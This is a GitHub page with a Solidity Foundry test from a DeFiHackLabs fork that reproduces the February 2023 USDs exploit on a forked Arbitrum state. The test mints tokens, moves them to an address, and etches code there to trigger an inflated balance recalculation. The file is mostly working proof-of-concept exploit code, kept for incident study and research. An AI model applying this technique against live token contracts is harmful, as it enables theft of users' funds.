forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
USDs_exp.sol
51 lines (40 loc) · 1.65 KB
/
USDs_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "forge-std/console.sol";
// @Analysis
// https://twitter.com/danielvf/status/1621965412832350208
// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c
// @TX
// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5
interface USDs {
function balanceOf(address _account) external returns (uint256);
function mint(address _account, uint256 _amount) external;
function transfer(address to, uint256 amount) external returns (bool);
function vaultAddress() external returns (address);
}
contract USDsTest is Test {
USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);
address ATTACKER_CONTRACT = address(0xdeadbeef);
function setUp() public {
vm.createSelectFork("arbitrum", 57803529);
vm.label(address(usds), "USDs");
vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, "USDsImpl");
vm.label(ATTACKER_CONTRACT, "AttackerContract");
vm.label(address(this), "AttackerAddress");
vm.prank(usds.vaultAddress());
usds.mint(address(this), 11e18);
}
function testExploit() public {
usds.transfer(ATTACKER_CONTRACT, 11e18);
// Etch code. In the real hack this was a Gnosis Safe being deployed
vm.etch(ATTACKER_CONTRACT, bytes("code"));
// Trigger balance recalculation
vm.prank(ATTACKER_CONTRACT);
usds.transfer(address(this), 1);
console.log(
"Attacker Contract balance after: ",
usds.balanceOf(ATTACKER_CONTRACT)
);
}
}